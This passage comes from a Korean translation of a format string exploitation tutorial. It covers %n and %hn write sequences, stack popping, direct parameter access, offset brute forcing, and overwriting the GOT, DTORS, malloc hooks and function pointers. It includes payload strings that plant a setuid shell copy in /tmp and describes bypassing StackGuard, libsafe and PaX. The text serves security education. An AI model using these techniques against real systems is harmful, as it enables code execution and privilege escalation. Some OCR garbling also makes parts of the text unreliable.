printf ("canary: %02x%02x%02x%02xWn", canary[0],
canary[1], canary[2], canary[3]);
```

우리는 '%u' padding 에 더미 딱립변수로서 '1' 파라미터를 사용한다. 또한, 우리가 32 를 쓰고자 원할 때 문자들의 카운터가 이미 16 에 있기 때문에 그 padding 은 변했다. 그래서 우리가 원하는 결과를 얻기 위해 단지 그것에 32 대신 16 개의 문자를 추가하면 된다. 이것은 특별한 경우였는데, 모든 바이트가 쓰기를 통해 증가했다. 하지만 우리는 미미한 수정으로 80 40 20 10 을 또한 쓸 수 있었다. 우리가 정수를 쓰고, 그 순서가 약간 endian(이 단어의 뜻은 모르겠음. 사전에도 나오지 않고...)하기 때문에, 단지 가장 덜 중요한 바이트만이 쓰기에서 중요하다. '%n'이 트리거될 때 각각 0x80, 0x140, 0x220 그리고 0x310 문자의 카운터를 사용함으로써 우리는 원하는 스트링을 만들 수 있다. 바라는 number-of-

written-chars 카운터를 계산하기 위한 코드는 다음과 같다.

```
write_byte += 0x100;
already_written %= 0x100;
padding = (write_byte - already_written) % 0x100;
if(padding < 10)
padding += 0x100;
```

'write_byte'가 우리가 만들기 원하는 바이트인 곳에 이미 'already_written'은 포맷 함수가 포함하고 있는 쓰여진 바이트의 현재 카운터이며, 'padding'은 우리가 카운터를 증가시켜야 하는 바이트의 수이다.

예:

```
write_byte = 0x7f;
already_written = 30;
write_byte += 0x100; /* write_byte is 0x17f now */
already_written %= 0x100; /* already_written is 30 */
/* afterwards padding is 97 (= 0x61) */
padding = (write_byte - already_written) % 0x100;
if(padding < 10)
padding += 0x100;
```

이제 "%97u"의 포맷 스트링은 "%n"-counter를 증가시키고, 그래서 가장 덜 중요한 바이트는 write_byte 와 동일하다. 만약 padding 이 10 이하일 경우 마지막 확인은 주의를 요한다. '%u'와 같은 간단한 정수 출력은 그것이 출력하는 정수에 따라 10 개의 문자 길이의 스트링을 생성할 수 있다. 만약 필요한 길이가 우리가 지정한 padding 보다 더 크다면, 즉 우리가 하나의 '%2u'로 '1000'을 출력하고자 원한다면 우리의 값은 어떤 의미 있는 출력을 잃지 않기 위해 떨어질 것이다. 우리의 padding 이 항상 10 보다 더 크다는 것을 확인하기 위해 우리는 항상 정확한 already_written 의 수와 포맷 함수가 포함하고 있는 카운터를 유지할 수 있다. 왜냐하면 우리는 포맷 파라미터의 길이 옵션으로 지정된 만큼의 출력 바이트를 항상 쓰기 때문이다.

그와 같은 취약점을 익스플로잇하기 위해 낭은 유일한 것은 스택에 올바른 순서로 독립변수를 입력하고, 그 스택 포인터를 증가시키기 위해 stackpop 시퀀시를 사용하는 것이다. 그것은 다음과 같다.

A
<stackpop><dummy-addr-pair * 4><write-code>

stackpop: 스택 포인터를 증가시키는 스택 popping 파라미터의 시퀀시. 일단 stackpop 이 처리되면 포맷 함수 내부 스택 포인터는 dummy-addr-pair 스트링의 시작 부분을 가리킨다.

dummy-addr-pair: 쓰기 위한 네 쌍의 더미 정수 값 및 주소. 이 주소는 각 쌍에서 1 씩 증가하고, 더미 정수 값은 NUL 바이트를 포함하지 않은 어떤 것도 될 수 있다.

write-code: '%nu%n' 쌍을 이용해 메모리에 실제 쓰는 포맷 스트링의 부분으로, n 이 10 보다 더 크다. 첫 부분은 포맷 함수 내부 bytes-written 카운터의 가장 덜 중요한 바이트를 증가시키거나 오버플로우시키는데 사용되고, '%n'은 이 카운터를 스트링의 dummy-addr-pair 부분 내에 있는 주소에 쓰기 위해 사용된다.

쓰기 코드는 stackpop 에 의해서 쓰여진 바이트의 수에 맞도록 수정되어야 하는데, stackpop 은 포맷 함수가 write-code 를 분석할 때 출력값에 이미 문자들을 썼다. 포맷 함수 카운터는 0에서 시작하지 않으며, 이것은 고려되어야 한다.

우리가 쓰는 주소는 Return Address Location(줄여서 retloc)이라고 불리며, 이곳에 포맷 스트링으로 만든 주소는 Return Address(줄여서 retaddr)이라고 불린다.

4. 변형된 공격

공격은 기술이다. 다른 기술에서와 마찬가지로 어떤 일을 완수하는 데는 한 가지 이상의 방법이 있다. 다음은 여러 방법 중에서 단지 기본적인 테크닉에 대해 언급한 것이다.

4.1 Short Write

네 번을 쓰는 것 대신에 단지 두 번 만으로 하나의 주소를 덮어쓰는 것이 가능하다. 이것은 큰 'n' 값으로 '%nu' 스트링과 일반적인 '%n' 작동을 통해 가능하다. 하지만 이 특별한 경우에 우리는 특별한 쓰기를 이용할 수 있는데, 그것은 짧은 int 타입인 '%hn' 파라미터를 쓸 수 있다. 'h'는 스택 상에 제공된 값을 캐스트하기 위해 다른 포맷 파라미터에서도 사용될 수 있다. 짧게 쓰기 테크닉은 첫 번째 테크닉에 비해 한 가지 장점을 가지고 있는데, 그것은 그 주소 옆의 데이터를 파괴하지 않는다는 것이다. 그래서 만약 함수 파라미터와 같은 당신이 덮어쓰는 주소 뒤에 있는 소중한 데이터가 있다면 그것은 보존된다.

만약 쓰여진 char 들의 내부 카운터가 버퍼 경계를 초과할 수 있다면, 비록 그것이 대부분의 C 라이브러리에 의해 지원된다고 해도 그것을 피해야 한다. 왜냐하면 그것은 포맷 함수의 행위에 의존하기 때문이다. 이것은 오래된 GNU C 라이브러리(libc5)에는 작동하지 않는다. 또한 그것은 타깃 프로세스의 메모리를 더 많이 소비한다.



내용으로부터 역동적으로 설정되기 때문이다.

```
printf ("%29010u%hn%.32010u%hn",
1. (short int *) &foo[0];
1. (short int *) &foo[2]);
```

이것은 '%n' 디렉티브에 대해 정렬 제한을 가진 RISC 기반의 시스템에 특히 유용하다. 짧은 한정어를 사용함으로써 그 정렬은 소프트웨어나 또는 특별한 시스템 지시자가 사용되는데 예뮬레이트되고, 우리는 매 2 바이트 경계에 쓸 수 있다.

더불어 그것은 정확하게 4 바이트 테크닉처럼 작동한다. 어떤 사람들은 '%.3221219073u'와 같은 특히 큰 padding들을 사용함으로써 한번에 쓰는 것이 가능하다고 말하기도 한다. 하지만 실제로 대부분의 시스템에는 작동하지 않는다. 이 주제에 대한 깊은 분석은 다음에서 볼 수 있다.

- * portal, "Format String Exploitation Demystified", <http://www.security.is/>
- * Pascal Bouchareine, "format string vulnerability", <http://www.hert.org/papers/format.html>

4.2 Stack Popping

만약 포맷 스트링이 너무 짧아서 스택 팝 시퀀시에 공급하는 것이 불가능하다면 문제가 발생할 수 있다. 이것은 당신의 포맷 스트링으로의 실제 거리와 포맷 스트링의 크기 사이의 경쟁이며, 그것에 당신은 적어도 실제 거리에서 pop 해야 한다. 그래서 가능한 적은 바이트로 스택 포인터를 증가시킬 효과적인 방법이 요구된다. 현재 우리는 원리를 보여주기 위해 단지 '%u' 시퀀시를 사용해왔지만 더 많은 효율적인 방법들이 있다. '%u' 시퀀시는 2 바이트 길이이며, 4 바이트를 pop 하는데, 이것은 1:2 바이트 비율로 준다.(우리는 2 바이트를 얻기 위해 1 바이트를 투자한다.)

'%f' 파라미터를 사용하여 우리는 2 바이트만 투자함으로써 스택에 8 바이트를 미리 획득한다. 하지만 이것은 커다란 단점을 가지고 있다. 왜냐하면 만약 스택으로부터 garbage 가 플로팅 포인터 네버로 프린터된다면 프로세스를 종단시킬 0에 의한 분할에 있을 수 있다. 이것을 피하기 위해 우리는 특별한 포맷 수식어(qualifier)를 사용할 수 있으며, 그것은 float number의 정수 부분을 프린터할 것이다. '%.f'는 버퍼에 3 바이트만을 사용하여 8 바이트로 스택 위쪽으로 오를 것이다.

BSD 계열과 IRIX 하에서는 우리의 목적을 위해 '*' -qualifier를 이용하는 것이 가능하다. 그것은 포맷 파라미터가 만들어낼 출력물의 길이를 역동적으로 공급하기 위해 사용된다. '%10d'가 10 개의 문자를 프린터하는 반면 '%*d'는 출력물의 길이를 역동적으로 검색해낸다. 즉, 스택상의 다음 포맷 파라미터는 그것을 제공한다. 위에서 언급한 LibC의 포맷 파라미터는 타입 '%*****d'의 파라미터를 허용하기 때문에 우리는 '*' 당 4 바이트를 당길 수 있으며, 그것은 4:1 비율과 관련 있다. 이것은 또 다른 문제를 야기하는데, 우리는 대부분의 경우 출력물의 길이를 예상할 수 없다는 것이다. 왜냐하면 그것은 스택의

4.3 직접적인 파라미터 접근

stack popping 방법들을 개선하는 것에 덧붙여, 포맷 스트링 내로부터 스택 파라미터를 직접적으로 어드레싱하는 방법인 "직접적 파라미터 접근"이라고 알려진 아주 간단한 방법이 있다. 현재 사용되고 있는 거의 모든 C 라이브러리는 이 기능을 지원한다. 하지만 모든 것이 포맷 스트링 공격에 이 방법을 적용할 수 있는 것은 아니다.

직접적인 파라미터 접근은 '\$' qualifier에 의해 통제된다.

```
printf ("%6$dWn", 6, 5, 4, 3, 2, 1);
```

이것은 '1'을 프린터한다. 왜냐하면 '\$'는 스택의 6 번째 파라미터를 명백히 어드레싱하기 때문이다. 이 방법을 사용하면 전체 스택 pop 시퀀시가 생략될 수 있다.

```
char foo[4];
printf ("%1$16u%2$n"
"%1$16u%3$n"
"%1$32u%4$n"
"%1$64u%5$n",
1,
(int *) &foo[0], (int *) &foo[1],
(int *) &foo[2], (int *) &foo[3]);
```

이것은 foo에 "Wx10Wx20Wx40Wx80"을 만들 것이다. 이 직접적인 접근은 IRIX를 제외한 BSD 계열에 첫 번째 8 개의 파라미터에만 국한된다. 솔라리스 C 라이브러리는 그것을 첫 30 개의 파라미터에 제한시킨다. 만약 스택 파라미터에 접근하기 위한 의도로 현재의 위치에서 거대한 값이나 음의 값을 선택한다면 예상된 결과를 내지는 못하고 다운될 것이다.

비록 이 방법이 공격을 많이 단순하게 하지만 가능하다면 stackpop 테크닉을 사용해야 한다. 왜냐하면 사용할 익스플로잇을 더 포팅하기 쉽게 만들기 때문이다. 만약 공격하고자 원하는 버그가 이 방법을 허용하는 플랫폼에만 존재한다면 물론 이 방법을 사용해야 한다. 그 예가 IRIX 텔넷 데몬 익스플로잇이다.

5. 무작위 대입법

버퍼 오버플로우 또는 포맷 스트링 취약점과 같은 취약점을 공격할 때 종종 실패하게 되는데, 이것은 정확한 offset을 알지 못하기 때문이다. 기본적으로 올바른 offset을



찾아내는 것은 어디에 무엇을 쓸 것인가를 의미한다. 단순한 취약점의 경우 정확한 offset 을 추측하거나 무작위 대입법을 사용할 수 있다. 하지만 다양한 offset 이 필요할 경우 무작위 대입법을 사용하는 것은 거의 불가능하다.

포맷 스트링의 경우 이 문제는 단지 우리에게 단 한번만의 시도를 제공할 데몬이나 어떤 프로그램을 공격하고 있는 것처럼 보일 수 있다. 우리가 여러 번의 시도를 하거나 포맷 스트링의 응답을 볼 수 있자마자 모든 필요한 offset 을 찾는 것이 가능하다.

이것은 우리가 타깃 프로세스를 완전히 장악하기 전에 타깃 프로세스에 대해 제한된 통제권을 가지고 있기 때문에 가능하다. 즉, 포맷 스트링은 우리로 하여금 메모리를 엿보게 하는 것을 가능하게 함으로써 무엇을 해야할지 원격 프로세스를 이미 다이렉트 한다.

여기서 설명되어 있는 두 가지 방법이 아주 다르기 때문에 각각 따로 설명되어 있다.

5.1 응답 기반의 무작위 대입법

TESO wu-ftpd 2.6.0 exploit: 7350wu.프린터 된 포맷 응답을 보는 것을 이용하는 것은 wu-ftpd 2.6.0 용 포맷 스트링 익스플로잇에서 처음 볼 수 있었다. 여기서는 거리를 알아내기 위해 응답을 사용했다. Smiler 와 나는 두 개의 다른 주소 'retaddr'(return address)와 'retloc'(return address location)을 알아내기 위해 이 테크닉을 개발했으며, 그것을 offset 과 돌립된 wu-ftpd 익스플로잇을 만들기 위해 사용했다.

(TESO wu-ftpd 2.6.0 exploit: 7350wu, <http://www.team-teso.net/releases.php>)

그 거리를 무작위로 알아내기 위해 다음과 같은 포맷 스트링을 사용해야 한다.

```
"AAAAABBBB|stackpop%08x|"
```

stackpop 은 우리가 추측하고자 하는 거리에 의존한다. 그 거리는 매 시도 때마다 증가한다.

```
while (distance > 0) {
    strcat (stackpop, "%u");
    distance -= 4;
}
```

만약 우리가 32 바이트의 거리를 알아낸다면 포맷 스트링은 다음과 같다.

```
"AAAAABBBB%u%u%u%u%u%u%u%u|%08x|"
```

우리는 스택((8 * "%u")으로부터 32 바이트를 pop 하고 스택 16진수로부터 32 번째 바이트에 4 바이트를 프린터한다. 이상적인 경우에 출력은 다음과 같다.

```
AAAAABBBB|983217938177639561760134608728913021|41414141|
```

'41414141'은 'AAAA'를 16 진수로 나타낸 것이다. 우리는 32 바이트의 정확한 거리를 맞춘 것이다. 만약 거리를 증가시키므로써 이 패턴에 도달할 수 없다면 두 가지 이유 때문이다. 하나는 거리가 너무 커 도달할 수 없는 경우인데, 예를 들면, 만약 포맷 스트링이 heap 에 위치하거나 또는 alignment 가 4 바이트 바운더리 상에 있지 않을 경우다. 후자의 경우 dfl 는 단지 1~3 더미 바이트로 포맷 스트링을 프리펜드(prepend)해야 한다. 그러면 우리는 그 스트링 위치를 이동하고, 그래서 패턴 '42414141'이 정확한 패턴 '41414141'에 맞게 된다.

일단 alignment 와 거리를 알게되면 포맷 스트링 버퍼 주소에 대해 무작위 대입법을 시작할 수 있다. 그러므로 다음과 같은 포맷 스트링을 사용한다.

```
addr|stackpop|_____%%|%s|
```

포맷 스트링은 왼쪽에서부터 오른쪽으로 처리되고, 'addr'과 '__' 시퀀시는 어떤 해도 끼치지 않는다. 'stackpop'은 'addr' 주소를 가리킬 때까지 스택 포인터를 위쪽으로 이동시킨다. 마지막으로 '%s'는 'addr'로부터 ASCIIZ 스트링을 프린터한다.

이상적인 경우 'addr'은 포맷 스트링의 '__' 시퀀시를 가리킨다. 이 경우에 출력은 다음과 같다.

```
garbage|_____%|____%%|%s|
```

여기서 'garbage'가 'addr'과 'stackpop' 출력으로부터 구성된다. 그런 다음, '%%'가 포맷 프로세싱에 의해 '%'로 전환되는 것처럼, 처리된 '__%%' 스트링은 '__%'으로 전환된다. 그리고 나서 우리가 제공한 포맷 스트링의 '%s'가 처리되면서 스트링 '__%%|%s|'도 삽입된다. 이것이 'addr'에 대해 다른 값을 우리가 시도했을 때 변하는 유일한 것이라는 것을 주목하자. 이상적인 경우에 우리는 버퍼를 적절적으로 가리키는 'addr'를 사용했다. 알다시피 '%'를 살펴보는 것을 통해 우리는 우리의 포맷 스트링(두 개의 '%' 문자를 가지고 있음)을 가리키는 주소들과 우연히 타깃 버퍼를 가리키는 주소(포맷 함수에 의해 전환되었기 때문에 단지 하나의 '%'를 가지고 있음) 사이를 구분할 수 있다.

만약 'addr'이 그 타깃 버퍼를 쳤다면 출력은 다음과 같다.

```
garbage|_____%|____%||
```

여기서는 단지 하나의 '%'만이 보인다. 이것은 우리로 하여금 포맷 스트링 버퍼가 heap 그 자체에 있는 상황에서 유용할 수 있는 타깃 버퍼 주소를 정확하게 예상하는 것을 허용한다.

우리가 '%s'가 우리의 포맷 스트링 시작의 어디에 위치해있는지 알고 있고, 우리의 버퍼를 가리키는 주소를 가지고 있기 때문에 우리는 그 주소를 다시 위치시킬 수 있고, 그래서 우리는 어떤 주소에서 우리의 포맷 스트링이 시작하는지 정확하게 알 수 있다. 보통 포맷 스트링 안에 헬코드를 넣기를 원하기 때문에 포맷 스트링 주소에 관해 retaddr 를 정확하게 계산할 수 있다.

5.2 맵목적인 무작위 대입법

맵목적인 무작위 대입법은 응답 기반의 무작위 대입법처럼 직접적으로 전방에 나서는 것은 아니다. 기본 아이디어는 우리가 원격 컴퓨터가 포맷 스트링을 처리하는데 걸리는 시간을 측정할 수 있다는 것이다. '%.99999999u'와 같은 스트링은 단순한 '%u'보다 시간이 더 오래 걸린다. 또한 우리는 맵핑이 되지 않은 주소에 '%n'을 사용함으로써 segmentation faults 가 날 수도 있다.

6. 특별한 경우들

다음은 모든 offset 을 알 필요도 없으며, 더 간단히 포맷 스트링 취약점을 공격할 수 있는 일반적인 접근 방법 몇 가지이다. 이것들은 어떤 특정한 상황을 이용하는 것이다.

6.1 대체 타깃

스택 기반의 버퍼 오버플로우에서 많은 사람들이 스택에 저장된 리턴 주소를 덮어쓰는 것이 프로세스에 대한 통제권을 장악하는 유일한 방법이라고 생각한다. 하지만 만약 우리가 버퍼가 어디에 있는지 정확하게 알지 못하는 포맷 스트링 취약점을 공격한다면 우리가 덮어쓸 수 있는 대체물이 있다. 일반적인 스택 기반의 버퍼 오버플로우는 단지 리턴 주소만을 덮어쓰는 것을 허용한다. 왜냐하면 그것이 스택에 저장되어 있기 때문이다. 하지만 포맷 함수의 경우 우리는 전체 쓸 수 있는 프로세스 공간을 변경하도록 하면서 메모리의 어느 곳에도 쓸 수 있다.

그러므로 공격한 프로세스에 대해 부분적 또는 완전한 통제권을 장악하는 다른 방법을 살펴보는 것을 흥미로운 것이다. 어떤 상황에서는 이것이 더 쉬운 공격 방법이 될 수 있으며, 어떤 보호 장치를 우회하는데도 사용될 수 있다.

6.1.1 GOT 덮어쓰기

ELF 바이너리의 프로세스 공간은 GOT(Global Offset Table)이라고 불리는 특별한 섹션을 포함하고 있다. 이 프로그램에 의해서 사용되는 모든 라이브러리 함수는 실제 함수가 위치한 주소를 포함하고 있는 항목을 가지고 있다.

이것은 하드코딩된 주소를 사용하는 것 대신에 프로세스 메모리 내에 라이브러리를 쉽게 다시 로케이션하는 것을 허용함으로써 이루어진다. 프로그램이 그 함수를 처음으로 사용하기

전에 엔트리는 rtl(run-time-linker)의 주소를 포함하고 있다. 만약 그 함수가 프로그램에 의해 호출되면 통제권이 rtl로 건너가고, 함수의 실제 주소가 결정되어 GOT 안으로 삽입된다. 그 함수에 대한 모든 호출은 직접적으로 그것에 통제권을 넘기고, rtl은 이 함수를 위해 더 이상 호출되지 않는다. GOT을 통한 공격에 대해 더 자세한 설명은 Lam3rZ brothers 의 글[19]을 참고해라. 포맷 스트링 취약점이 공격된 후 프로그램이 사용할 어떤 함수에 대해 GOT 엔트리를 덮어쓸때 우리는 통제권을 장악할 수 있고, 어떤 실행 가능한 주소로 jump 할 수 있다. 이것은 불행하게도 리턴 주소에 확인을 수행하는 어떤 스택 기반의 보호가 실패할 것이라는 것을 의미한다.

우리가 GOT 엔트리를 덮어쓰는 것으로부터 획득할 수 있는 장점은 스택과 같은 환경변수와 동적 메모리 할당(heap)과 독립되어 있다는 것이다. 어떤 GOT 엔트리의 주소는 단지 바이너리마다 고정되어 있고, 그래서 만약 두 시스템이 같은 바이너리를 가지고 있다면 GOT 엔트리는 항상 같은 주소에 있다.

어떤 함수에 대한 GOT 엔트리는 다음을 실행시켜 알 수 있다.

```
objdump --dynamic-reloc binary
```

실제 함수 또는 rtl 링크 함수의 주소는 프린터된 주소에 직접적으로 있다.

리턴 주소 대신 통제권을 잡기 위해 GOT 엔트리를 사용하는 것의 다른 한 중요한 요소는 몇몇 안전한 finger 데몬에서 발견되는 품의 코드이다.

```
syslog (LOG_NOTICE, user);  
exit (EXIT_FAILURE);
```

여기서 우리는 리턴 주소를 덮어쓸 때 통제권을 장악할 수 없다. syslog 자체의 리턴 주소를 덮어쓰는 것을 시도는 할 수 있지만 더 신뢰할 수 있는 방법은 'exit' 함수의 GOT 엔트리를 덮어쓰는 것이다. 그것은 'exit'가 호출되자마자 우리가 지정한 주소에 실행권한을 건네줄 것이다.

하지만 GOT 테크닉의 가장 유용한 장점은 사용하기 쉽다는 것이다. 즉, objdump 를 실행하면 덮어쓸 주소(retloc)를 알 수 있다는 것이다.

6.1.2 DTORS

GNU C 컴파일러로 컴파일된 바이너리는 DTORS 라고 불리는 특별한 destructor table section 을 포함하고 있다. 여기서 열거된 destructor 들은 실제 'exit' 시스템 호출이 나오기 바로 직전과 모든 일반 클린업 작업이 이루어진 이후에 호출된다. DTORS 섹션은 다음과 같은 포맷으로 되어 있다.

DTORS: 0xffffffff 0x00000000 ...

여기서 첫 번째 엔트리는 함수 포인터의 번호를 가지고 있는 카운터이다. DTORS 섹션의 모든 구현에서 이 필드는 무시된다. 그 다음은 relative offset +4 에는 NULL 주소에 의해 종결되는 클린업 함수의 주소가 있다. 우리는 이 NULL 포인터를 우리의 쉘코드에 포인터로 덮어쓸 수 있으며, 우리의 코드는 프로그램이 exit 할 때마다 실행될 것이다. 이 테크닉에 대한 더 자세한 소개는 Juan M. Bello Rivas, "Overwriting the .dtors section"에서 찾을 수 있다.

6.1.3 C 라이브러리 hook

몇 달 전에 Solar Designer 가 malloc-할당 메모리에서 할 기반의 오버플로우를 공격하기 위한 새로운 테크닉을 소개했다. Solar Designer 는 GNU C Library 에 존재하는 hook 를 덮어쓰는 것을 제안했다. 보통 이 hook 는 malloc 인터페이스를 사용하여 어플리케이션이 메모리를 할당받거나 메모리를 비울 때마다 이것을 목격하기 위해 메모리 디버깅이나 프로파일링 둘에 의해 사용된다.

몇 가지 hook 가 있지만 가장 일반적인 것은 __malloc_hook, __realloc_hook, 그리고 __free_hook 이다. 보통 NULL 로 지정되지만 우리가 작성한 코드에 대한 포인터로 그것들을 덮어쓰자마자 우리의 코드는 malloc, realloc, 그리고 free 가 호출될 때 실행될 것이다. 이것은 hook 들이 실제 함수가 실행되기 전에 호출될 때 디버그 hook 로 사용되기 때문이다. malloc-덮어쓰기 테크닉에 대한 토론은 Solar Designer, "JPEG COM Marker Processing Vulnerability in Netscape Browsers, advisory demonstrating malloc management information overwrite", <http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt> 에 나와 있다.

6.1.4 atexit 구조체

몇 달 전에, Kalou 는 리눅스 환경에서 정적으로 링크된 바이너리를 공격하는 방법을 소개했는데, 그것은 __atexit 라고 불리는 generic handler 를 이용하는 것이며, 그것은 우리의 프로그램이 exit 를 호출하자마자 실행되는 것이다. 이것은 어떤 프로그램이 자원을 내놓기 위해 exit 할 때 호출될 많은 handler 를 세우는 것을 허용한다. atexit 구조체에 대한 자세한 내용은 Pascal Bouchareine, "__atexit in memory bugs: proof of concept"에서 찾을 수 있다.

6.1.5 함수 포인터

만약 공격할 어플리케이션이 함수 포인터를 사용한다면 이것을 덮어쓸 기회가 있다. 함수 포인터를 사용하기 위해 그것을 덮어써야 하고, 그 다음 그들을 시작해야 한다. QPOP 과 같이 어떤 데몬들은 명령 처리를 위해 함수 포인터 테이블을 사용한다. 또한 함수 포인터들은

SSHd 에서처럼 atexit 같은 handler 를 시뮬레이트하기 위해 종종 사용된다.

6.1.6 jmpbuf's

최초의 jmpbuf 덮어쓰기 테크닉은 heap 저장 버퍼를 공격하기 위해 사용되었다. 포맷 스트링의 경우 jmpbuf's 는 마치 함수 포인터처럼 행동한다. 왜냐하면 우리는 우리의 버퍼에 jmpbuf 의 상대적 위치에 의해 제한 받지 않고 메모리의 어느 곳에라도 쓸 수 있다. 이것에 대한 자세한 내용은 Matt Conover aka Shok, "w00w00 on Heap Over ows", <http://www.w00w00.org/files/articles/heaptut.txt> 를 참고해라.

6.2 return-into-LibC

Solar Designer 에 의해서 개척된 return-into-LibC 테크닉(Solar Designer, post to Bugtraq mailing list demonstrating return into libc, Bugtraq Archives 1997 August 10) 을 사용할 수도 있다. 하지만 더 쉬운 공격이 가능한 지름길도 있을 수 있다.

```
FILE * f;
char foobuf[512];
```

```
snprintf (foobuf, sizeof (foobuf), user);
foobuf[sizeof (foobuf) - 1] = W0;
f = fopen (foobuf, "r");
```

우리는 'system' 함수의 주소로 'fopen'의 GOT 주소를 덮어쓸 수 있다. 그런 후 다음과 같은 포맷 스트링을 사용해보자.

```
"cd /tmp:cp /bin/sh .:chmod 4777 sh:exit:"
"addresses|stackpop|write"
```

여기서는 'addresses', 'stackpop' 그리고 'write'가 일반적인 포맷 스트링 공격 시퀀시이다. 이것들은 'system' 주소와 더불어 'fopen'의 GOT 항목을 덮어쓰기 위해 사용된다. 'fopen'이 호출될 때 스트링은 'system' 함수로 전달된다. 선택적으로 아래에서 기술되어 있는 것처럼 일반적인 구식 방법을 사용할 수 있다.

6.3 Multiple Print

만약 포맷 스트링 취약점을 같은 프로세스(wu-ftpd 에서처럼) 내에 여러 번 공략한다면 리턴 어드레스를 더 많이 덮어쓸 수 있다. 예를 들어, 어떤 실행가능하지 않은 스택 보호를 우회하기 위해 heap 상에 전체 쉘코드를 저장할 수 있다. 이 문서에서 설명된 다른 테크닉과

마찬가지로 다음 보호 시스템을 우회할 수 있다. 물론 완벽한 것은 아니지만....

- * StackGuard
- * StackShield
- * Openwall 커널 패치(by Solar Designer)
- * libsafe

2000년 9월 중순쯤 어떤 그룹 사람들이 PaX(PaX group,"Implementing non executeable rw pages on the x86", <http://pageexec.virtualave.net/>)라고 알려진 일련의 리눅스 커널 패치를 발표했다. 이것은 알고, 쓸 수 있지만 실행할 수 없는 페이지를 구현하는 것을 효율적으로 허용한다. x86 CPU 시리즈에서 이것을 고유하게 하는 것은 불가능하기 때문에 이 패치는 Plex CPU 에뮬레이트 프로젝트에 의해 발견된 몇 가지 트릭을 사용한다. 이 패치가 실행되는 시스템에서는 프로세스에 도입한 임의의 쉘코드를 실행하는 것이 불가능하다. 하지만 대부분의 경우 프로세스 공간 그 자체 내에 이미 유용한 코드가 있다. 우리는 쉘코드에 우리가 보통 하는 일을 하기 위해 이 코드를 실행할 수 있다.

일반적인 Return-into-LibC 테크닉을 사용하여 이 방어벽을 우회할 수 있다. 가장 간단한 경우가 파라미터로 포맷 스트링을 사용하여 system() 라이브러리 함수로 리턴하는 것이다.

그 스트링을 최대한 활용하기 위해 system() 함수의 주소를 알기 위해 강제로 offset 을 줄일 수 있다. 어떤 프로그램을 호출하기 위해 우리가 사용하는 포맷 스트링의 끝에 다음 시퀀시를 사용할 수 있다.

```
".....:id > /tmp/owned:exit:"
```

':' 문자를 가리키고 있거나 system() 함수로 전달된 어떤 주소는 이 명령을 수행할 것이다. 왜냐하면 ':' 문자는 쉘에 'nop' 명령을 실행하기 때문이다.

6.4 Heap 내의 포맷 스트링

지금까지 우리는 포맷 스트링이 항상 스택 상에 있다고 가정해왔다. 하지만 heap에 저장되어 있는 경우들도 있다. 만약 스택상에 영향을 줄 수 있는 다른 하나의 버퍼가 있다면 그것에 쓰기 위한 주소를 공급하기 위해 그것을 이용할 수 있다. 하지만 만약 그와 같은 버퍼가 없다면 선택의 여지는 거의 남아 있지 않다.

만약 타깃 버퍼가 스택 상에 놓여 있다면 우리는 먼저 그것에 print 하고, 그런 다음 '%n' 파라미터를 이용해서 쓰기 위해 그곳에서부터 그 주소들을 이용할 수 있다.

```
void  
func (char *user_at_heap)
```

```
{  
    char outbuf[512];  
    sprintf (outbuf, sizeof (outbuf), user_at_heap);  
    outbuf[sizeof (outbuf) - 1] = W0;  
    return;  
}
```

여기서 우리는 보통 때처럼 우리가 쓰기를 원하는 주소를 포함한 포맷 스트링을 사용했다. 하지만 특별한 것은 포맷 스트링 그 자체로부터 그 주소에 접근하지 않고 타깃 버퍼로부터 접근했다는 것이다. 이렇게 하기 위해 간단히 그 주소들을 프린팅 할으로써 스택상의 주소를 먼저 저장해야 한다. 그러므로 쓰기 시퀀시는 포맷 스트링 내의 주소 뒤에 있어야 한다.

만약 양 버퍼가 스택 내에 놓여있지 않다면 우리는 한가지 문제를 가지게 된다.

```
void  
func (char *user_at_heap)  
{  
    char * outbuf = calloc (1, 512);  
    sprintf (outbuf, 512, user_at_heap);  
    outbuf[511] = W0;  
    return;  
}
```

이제 문제는 우리가 스택상의 데이터를 제공하는 몇 가지 방법을 가지고 있어야 하는가에 달려있다. 예를 들어, wu-ftpd 용 exploit은 주소가 아니라 쉘코드에 데이터를 저장하기 위해 패스워드 필더를 사용했다.(이 exploit들은 비익명 계정을 공격할 수는 없다.)

모든 취약점과 exploit은 다르기 때문에 공격이 가능하지 않다고 언급하기 전에 그 취약점을 공부하는데 많은 시간을 투자해야 하며, 그런 경우에도 잘못된 경우가 생기기도 한다.

6.5 특별한 고려사항

공격 그 자체 외에도 고려해야 할 것들이 있다. 만약 쉘 코드가 포맷 스트링 내에 포함되어 있다면 'Wx25' (%) 또는 NUL 바이트를 포함하지 않을 수 있다. 하지만 중요한 어떤 opcode 도 0x25 또는 0x00에 있지 않기 때문에 쉘코드를 작성할 때 문제에 빠지지는 않을 것이다. 만약 주소들이 포맷 스트링에 저장되어 있다고 해도 역시 마찬가지다. 만약 우리가 쓰기 원하는 주소가 최소 바이트로 NUL 바이트를 포함하고 있다면 그 바이트를 저장하기를 원하는 주소 바로 아래의 주소에 그것을 short-write로 대체할 수 있다. 하지만

이것은 모든 애픽처에 가능한 것은 아니다. 또한 우리는 두 개의 분리된 포맷 스트링을 이용할 수 있다. 첫 번째는 전체 스트링 뒤에 있는 메모리에 쓰기를 원하는 주소를 만든다. 두 번째는 그것을 쓰기 위해 이 주소를 이용한다. 이것은 복잡해질 수 있지만 신뢰할만한 공격을 가능하게 하고, 때로는 노력할 가치가 있다.

7. 둘들

일단 공격이 끝나거나 또는 exploit 을 개발하는 도중이라도 필요한 offset 을 저장하기 위해 둘을 사용하는 것은 도움이 될 것이다. 어떤 둘들은 소스가 공개되어 있지 않은 소스 소프트웨어에 존재하는 포맷 스트링 취약점과 같은 취약점들을 확인하는데도 도움이 될 것이다. 여기서 언급한 네 가지 둘은 아주 많은 도움이 될 것이다.

7.1 ltrace, strace

ltrace 와 strace 는 비슷한 방식으로 작동하는데, 프로그램이 호출할 때 그들의 인자와 리턴값을 로깅하면서 라이브러리와 시스템 호출을 허크(hook)한다. 이것은 프로그램 자체를 블랙 박스로 간주하면서 어떻게 프로그램이 시스템과 상호 작용하는지를 우리가 볼 수 있도록 해준다.

